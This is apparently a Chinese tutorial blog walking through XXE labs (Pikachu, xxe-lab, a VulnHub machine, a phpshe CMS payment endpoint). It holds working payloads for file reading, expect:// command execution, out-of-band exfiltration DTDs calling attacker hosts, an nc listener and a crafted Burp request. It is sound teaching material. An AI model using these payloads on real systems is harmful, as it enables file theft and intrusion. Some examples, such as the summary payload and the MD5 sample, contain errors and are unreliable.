?目錄
1.XXE簡介與危害
XML概念
XML與HTML的區別
1.pom.xml
主要作用
2.web.xml
3.mybatis
2.XXE概念與危害
案例:文件讀取(需要Apache >=5.4版本)
案例:內網探測(雞肋)
案例:執行命令(不演示,不常見)
案例:無回顯
疑問解答(以下僅需了解)
all為什么要嵌套一層
為什么需要引用DTD文件
%#25是什么?
文件上傳場景中 XXE 漏洞測試
一、環境搭建
二、XXE 漏洞測試流程(以文件上傳為例)
三、關鍵知識點
靶場案例:xxe-lab
3.綜合案例
環境安裝
端口掃描
目錄掃描
7kbscan御劍版的下載
操作環節
7kbscan御劍版掃描
訪問掃描的網址
bp抓包+第一次改包
bp第二次改包
bp第三次改包
區分 MD5、Base64 和 Base32
解析base32
base641后得到的
4.CMS漏洞分析
案例:phpsheCMS
總結
XXE 漏洞知識筆記
一、XXE 漏洞簡介
二、漏洞原理
三、漏洞危害
四、工具檢測
五、總結
本文章僅作為技術分享,請勿使用此技術用于違法犯罪,后果自負!!!
1.XXE簡介與危害
前面講了一些XML知識,這里我們回顧一下
XML概念
XML被設計為傳輸和存儲數據,XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素,其焦點是數據的內容,其把數據從HTML分離,是獨立于軟件和硬件的信息傳輸工具。
XML與HTML的區別
XML被設計為傳輸和存儲數據,其焦點是數據的內容。
HTML被設計用來顯示數據,其焦點是數據的外觀。
HTML旨在顯示信息,而XML旨在傳輸信息。
1.pom.xml
pom.xml
是 Maven 項目的核心配置文件,全稱為 Project Object Model(項目對象模型)。它采用 XML 格式,定義了項目的基本信息、依賴管理、構建配置等內容,是 Maven 實現自動化構建和依賴管理的基礎。
主要作用
- 項目標識:定義項目的坐標(
groupId
、artifactId
、version
),用于唯一標識項目。 - 依賴管理:聲明項目依賴的外部庫(如 Spring、JUnit 等),Maven 會自動從倉庫下載這些依賴。
- 插件配置:配置編譯、測試、打包等構建過程所需的插件(如
maven-compiler-plugin
)。 - 構建生命周期:定義項目的構建階段(如
compile
、test
、package
)及各階段的執行目標。 - 繼承與聚合:支持多模塊項目的父子關系和模塊聚合,簡化大型項目的管理。
2.web.xml
web.xml
相關漏洞:常見的是XXE
漏洞。web.xml
用于配置Web
應用的相關信息,當應用程序解析 XML
輸入(如通過web.xml
進行某些配置解析)時,若沒有禁止外部實體的加載,就可能存在XXE
漏洞。攻擊者可利用該漏洞構造惡意XML
輸入,實現文件讀取、命令執行、內網端口掃描、攻擊內網網站、拒絕服務攻擊等危害,例如讀取服務器上的敏感文件,或執行系統命令來控制服務器
3.mybatis
2.XXE概念與危害
XXE漏洞全稱XMLExternal Entity Injection,即xml外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站等危害。
案例:文件讀取(需要Apache >=5.4版本)
訪問地址:http://localhost/pikachu/vul/xxe/xxe_1.php
準備xml腳本測試
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:\Windows\System32\drivers\etc\hosts">
]>
<foo>&xxe;</foo>
注意文件地址要與它存在的路徑一致
有些情況下是讀不出來的,可以去虛擬機試一下
案例:內網探測(雞肋)
準備xml腳本測試
在域名下如果有個1.txt文件,可以顯示出來,代表80端口可以訪問
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.0.61:80/1.txt">
]>
<x>&xxe;</x>
案例:執行命令(不演示,不常見)
在安裝expect擴展的PHP環境里執行系統命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
下面這個鏈接:可以了解一下
https://www.php.net/manual/zh/wrappers.expect.php
php的語言支持封裝協議
案例:無回顯
修改\pikachu\vul\xxe\xxe_1.php
注釋掉后,再去pikachu靶場的話,它是不會顯示任何東西的
正常情況下,是不會顯示的
但是我們想要在對方服務器顯示給我們。
新建一個用于接受的php(虛擬機)測試
<?php
$data = $_GET['file'];
$myfile = fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>
get.php和vil.dtd都放在虛擬機的phpstudy的根目錄里面。
新建vil.dtd文件(虛擬機)
注意下面的地址不能是127.0.0.1,必須是被攻擊的電腦能訪問的ip測試
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.0.61/get.php?file=%file;'>">
%all;
%send;
注意的第一行的ip地址與文件地址,需要在虛擬機里面新建一個1.txt
就讓別人的文件回顯,自動保存在我們電腦上
攻擊腳本測試
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.132/vil.dtd">
%dtd;]>
將腳本放入,注意腳本第3行地址,與vil.dtd是我們前面創建的
然后提交,后我們會發現,虛擬機里面多了一個file文件,里面就存儲的是我們前面新建的1.txt的內容了
疑問解答(以下僅需了解)
all為什么要嵌套一層
因為在里面一層用到了%file;而XML解析不會解析同一層級的參數
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.0.61/get.php?file=%file;'>">
%all;
%send;
為什么需要引用DTD文件
因為在 DTD 的內部子集中,不允許在標記聲明中引用參數實體。您必須使用外部 DTD,即單獨的文件。
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
%all;
%send;
]>
%#25是什么?
就是%號,如果直接用%號會報錯,這個是它的一個獨特語法
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.132/vil.dtd">
%dtd;]><!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
%all;
%send;
]>
文件上傳場景中 XXE 漏洞測試
以下是關于 文件上傳場景中 XXE 漏洞測試 的筆記整理,結合紅藍隊視角和實戰流程,幫助理解攻擊原理與防御思路:
一、環境搭建
角色 | 設備 | 作用 |
藍隊(被害者) | 本機 | 運行目標系統(如 Pikachu 靶場),模擬存在漏洞的 Web 服務器 |
紅隊(攻擊者) | 虛擬機 | 發起攻擊,構造惡意 XML / 文件并上傳 |
目標系統 | 遠程服務器 | 部署 Pikachu 靶場,IP 為 ,提供文件上傳等測試接口 |
二、XXE 漏洞測試流程(以文件上傳為例)
1. 攻擊準備:構造DTD 文件(vil.dtd
)
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!-- 讀取服務器敏感文件 -->
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://攻擊者IP:端口/?data=%file;'>">
%eval;
%exfil;
?
- 關鍵作用:
- 通過
file://
協議讀取服務器文件(如/etc/passwd
)。通過http://
協議將數據回傳到攻擊者服務器,實現數據外帶。
2. 構造含 XXE 攻擊的 XML 文件
腳本測試
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://攻擊者IP/vil.dtd"> <!-- 引用惡意DTD -->%remote;
]>
<root>&test;</root>
邏輯:
- 當目標服務器解析此 XML 時,會遠程加載
vil.dtd
并執行其中的惡意實體。觸發文件讀取和數據回傳,繞過服務器本地防護。
3. 上傳攻擊文件并觸發漏洞
- 通過文件上傳接口提交?XML:
- 在 Pikachu 靶場的 “文件上傳” 模塊,選擇構造好的 XML 文件并上傳。部分場景需配合 Content-Type 為
application/xml
或text/xml
。
- 監聽攻擊者服務器接收數據:
- 使用
nc
(Netcat)監聽端口:bash
nc -lvnp 8080 # 監聽8080端口,接收文件內容
- 若漏洞存在,服務器會向攻擊者發送包含敏感數據的 HTTP 請求。
三、關鍵知識點
XXE 漏洞原理
- 核心風險:XML 解析器默認允許加載外部實體(如
SYSTEM
、PUBLIC
),攻擊者利用此特性竊取數據。 - 攻擊載體:
- 直接在 XML 中定義實體(內聯攻擊)。
- 通過
DOCTYPE
引用遠程惡意 DTD 文件(外帶攻擊)。
靶場案例:xxe-lab
https://github.com/c0ny1/xxe-lab
可以把上面鏈接的東西下載了之后
訪問:
http://localhost/xxe/
登錄,然后BP抓包:
右鍵,發送到Repeater模塊,它可以多次發送請求響應
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///C://Users//wujia//Desktop//1.txt">
]>
<user><username>
&file;
</username><password>12313</password>
</user>
構建腳本,在電腦上新建一個1.txt,然后路徑就把上面改為相應的就行了,腳本格式就和上面bp抓包的就行
file就是用來接受C:\Users\wujia\Desktop//1.txt,
&file;就可以接收相應數據
然后我們點擊左上角send發送
報錯了?讓我們來看看,原來是路徑出錯了,所以我們來修改正確再提交:
有回顯證明存在xxe漏洞,
所以我們不只可以讀取1.txt文件,我們還可以讀取對方系統里面的hosts文件等一些重要文件
然后我們發現它是doLpgin格式,所以我們可以讀取它的文件:
讀取doLogin.php文件,腳本展示:
代碼:
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&file;
</username><password>12313</password></user>
然后復制粘貼去BP里面
去瀏覽器解析代碼:它一般是base64加密的形式,所以我們去把base64解析看:
全選,然后解析,也可以去網站上
https://www.toolhelper.cn/EncodeDecode/Base64
解析后
發現有了賬戶密碼等信息,這樣就成功了
3.綜合案例
環境安裝
靶機XXE 下載地址:訪問就直接下載了
https://download.vulnhub.com/xxe/XXE.zip
然后自己創建就行了
然后進去
這個靶機然后讓你輸入密碼,找去flag,并不是讓你真的登錄進去
然后就需要我們去
端口掃描
打開我們kali虛擬機:
查看宿主機IP地址
服務器的IP只會在192.168.17.1-255之間
使用Kali作為主機,掃描獲得IP地址
su root
nmap 192.168.17.1/24
于是我們獲取了剛剛打開的Ubuntu地址,仔細看它開了80端口
我們訪問192.168.17.135:80
然后發現是Ubuntu證明我們找對了!(這個虛擬機不是讓你登錄,就是讓你找flag的)
目錄掃描
掃描目錄
7kbscan御劍版的下載
https://github.com/7kbstorm/7kbscan-WebPathBrute
漏洞探測,滲透需要我們掃一下它http://192.168.17.135
操作環節
發現有兩個文件,我們去訪問
但是注意index.html,它是一個html頁面,訪問出來是這個
7kbscan御劍版掃描
然后我們進去掃出來的另一個,,發現有兩個東西
訪問掃描的網址
先訪問robots.txt
發現有兩個東西 。我們先訪問第一個:
bp抓包+第一次改包
發現它要我們登錄,看到這里,我們用bp抓包看一下:
還是一樣,看到下面有xml,所以會不會有xml漏洞呢?
我們發送到repeater看一下
(注意:這里我的bp用了中文版,方便理解bp的使用)
然后構建腳本:
我們先去看xxe里面有什么
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>
發送過去后,得到一堆base64加密的代碼,我們去解析一下:
代碼審計;
可見,這個是個錯誤頁面,不管你用戶名,密碼,都是登錄錯誤,上當了!
bp第二次改包
于是我們可以去看admin.php有什么,使用構建代碼:
把第三行最后的xxe改為admin.php就行了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>
然后發現出現了更大的一串代碼,不要慌,我們先解碼看一下它是什么東西。
注意解析代碼可以用火狐滲透版自帶的,或者去瀏覽器解析,它是base64加密,使用用base64解碼。
發現有事情可以搞,審計一下代碼
它說如果 username=administhebest 那么password='e6e061838856bf47e1de730719fb2609')
使以看樣子似乎獲取到了賬號和密碼,但是密碼為什么是那么大串呢?
原來一般密碼是MD5加密,所以我們去解密一下。
e6e061838856bf47e1de730719fb2609
查詢到密碼是admin@123
所以賬號為:administhebest
密碼是: admin@123
我們拿它去登錄一下頁面
注意:訪問的IP地址是剛剛我們用kali測出來的地址
可是為什么會報錯呢?我們明明不是已經拿到賬戶和密碼了嗎?
眼尖的朋友注意到了訪問地址的問題,我們應該訪問以admin.php結尾的網站。
http://192.168.17.135/xxe/admin.php
然后我們輸入賬號密碼試一下。
發現有了一個flag,這個會不會是我們要找的flsg呢?我們往下看
然后發現它不讓我們訪問,但是給了我們一個flagmeout.php的文件,BP進去看一下。
bp第三次改包
同樣構建腳本:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>
的到了我們去解析一下:
發現它說flag在這里面,我們看看這是什么東西?
原來是base32加密
區分 MD5、Base64 和 Base32
接下來就是側重說一下MD5,base64和base32的區別了:
要區分 MD5、Base64 和 Base32,可以從以下幾個核心維度入手,通過觀察特征、用途和技術特性快速判斷:
一、看輸出特征(最直觀)
1. MD5 哈希值
- 長度固定:
輸出為 32 位十六進制字符串(由數字0-9
和字母a-f
/A-F
組成),例如:plaintext
e2e7f4b9d3b1c5f9a8d4f3c2b1a0z(無效,僅含十六進制字符)
?
- 關鍵特點:
-
- 無填充符(如
=
),無特殊符號(如+
//
)。 - 不可逆:無法通過結果反推原始數據,常用于校驗和(如文件哈希值)。
- 無填充符(如
2. Base64 編碼結果
- 字符集:
包含 64 個字符:A-Z
、a-z
、0-9
、+
、/
,填充時用=
。
-
- 示例:plaintext
SGVsbG8gV29ybGQh("Hello World!" 的 Base64 編碼)
?
- 長度規律:
-
- 編碼后長度是 4 的倍數,不足時用
=
填充(1-2 個=
)。 - 可能包含
+
或/
(URL 中可能替換為-
/_
)。
- 編碼后長度是 4 的倍數,不足時用
3. Base32 編碼結果
- 字符集:
僅包含 32 個字符:A-Z
(大寫)和數字2-7
(避免與0/1/I/O
混淆),填充用=
。
-
- 示例:plaintext
JBSWY3DPEHPK3PXP("Hello" 的 Base32 編碼)
- 長度規律:
-
- 編碼后長度是 8 的倍數,填充符
=
可能較多(最多 7 個,但常見 1-2 個)。 - 無小寫字母、無特殊符號(如
+
//
),全為大寫字母和數字2-7
。
- 編碼后長度是 8 的倍數,填充符
二、實踐驗證方法
- 嘗試解碼:
檢查字符集:
-
- 含
+
//
→ Base64; - 全大寫字母 + 2-7 → Base32;
- 純十六進制(0-9/a-f)→ MD5。
- 含
解析base32
得到的是Base64字符,繼續解密
base641后得到的
得到了/etc/.flag.php
我們繼續bp看一下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>
繼續解析
發現和前面不一樣了,這是php語言,因為他又$符號,所以我們php解析
可以去phpstudy里面,把它放根目錄里面,然后把后綴名改為php就行,但是注意補全php格式
<?php$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$??=+_;$??=$??=$??=$??=$??=$??=$??=$??=$??=++$??[];$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$__('$_="'.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.'"');$__($_);?>
然后訪問就行了
4.CMS漏洞分析
案例:phpsheCMS
https://github.com/vuatph/phpshe
下載好后,剛開始要初始化安裝一下,輸入
http://localhost/phpshe/install
設置用戶信息
如何登錄管理后臺:
它這個漏洞在支付漏洞里面,我們掃描,它會調用微信支付,會通知商家重新支付,會給出一個接口,所以會有xxe漏洞
然后打開bp隨意攔截
把它發送到Repeater模塊l里面
把它改為,注意17行改為虛擬機地址。
GET /phpshe/include/plugin/payment/wechat/notify_url.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/phpshe/user.php?mod=do&act=login&fromto=http%3A%2F%2Flocalhost%2Fphpshe%2F
Content-Length: 113
Cookie: safedog-flow-item=; PHPSESSID=3199gn7cbq9eudsopceplupga6
DNT: 1
Connection: close<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.138/vil.dtd">
%dtd;]>
<root>c</root>
進入虛擬機,把對方的回顯到虛擬機里面。這里和上面的,案例:無回顯一樣
好了,以上就是xxe漏洞的知識。
總結
XXE 漏洞知識筆記
一、XXE 漏洞簡介
- 全稱:XML External Entity Injection(XML 外部實體注入)
- 本質:當應用程序解析 XML 輸入時,未禁止外部實體的加載,導致攻擊者可利用自定義實體注入惡意內容,竊取敏感信息或執行系統命令。
- 常見場景:使用 XML 格式進行數據傳輸或配置的系統(如 Web 服務、API 接口)。
二、漏洞原理
- XML 實體概念
- 內部實體:定義在 XML 文檔內的實體(如
<!ENTITY name "value">
)。外部實體:引用外部資源的實體,分為: - 本地文件引用:
<!ENTITY file SYSTEM "file:///etc/passwd">
- 遠程 URL 引用:
<!ENTITY remote SYSTEM "http://attacker.com/exploit.dtd">
- 攻擊流程xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY & file SYSTEM "file:///etc/passwd"> <!-- 引用本地文件 --><!ENTITY & eval "<!ENTITY &exfiltrate SYSTEM 'http://attacker.com/?data=&file;'>"> <!-- 外帶數據 -->&eval;&exfiltrate;
]>
<root>&file;</root>
三、漏洞危害
- 敏感信息泄露
- 讀取服務器本地文件(如
/etc/passwd
、數據庫配置文件)。 - 掃描內網端口(通過
http://127.0.0.1:8080
等 URL 引用)。
- 拒絕服務(DoS)攻擊
-
- 通過遞歸實體定義(如
<!ENTITY a "&a;&a;&a;">
)導致內存 / CPU 耗盡。
- 通過遞歸實體定義(如
- 遠程代碼執行(需配合其他漏洞)
- 在支持 XSLT 或腳本引擎的環境中,結合外部實體執行命令(如 Java 環境中的
DocumentBuilderFactory
未禁用 XXE)。
- 內網滲透
- 通過 SSRF(服務器端請求偽造)攻擊內網服務(如
file://
、gopher://
協議)。
四、工具檢測
- Burp Suite:利用插件(如 XXE Tester)自動生成測試載荷。
- OWASP ZAP:啟用主動掃描模塊檢測 XML 解析漏洞。
五、總結
- 核心原理:XML 解析器未限制外部實體加載,導致惡意引用。
- 防御重點:禁用外部實體、限制解析器功能、嚴格輸入校驗。
- 檢測手段:結合帶外數據傳輸(DNS/HTTP)和響應分析,利用工具自動化測試。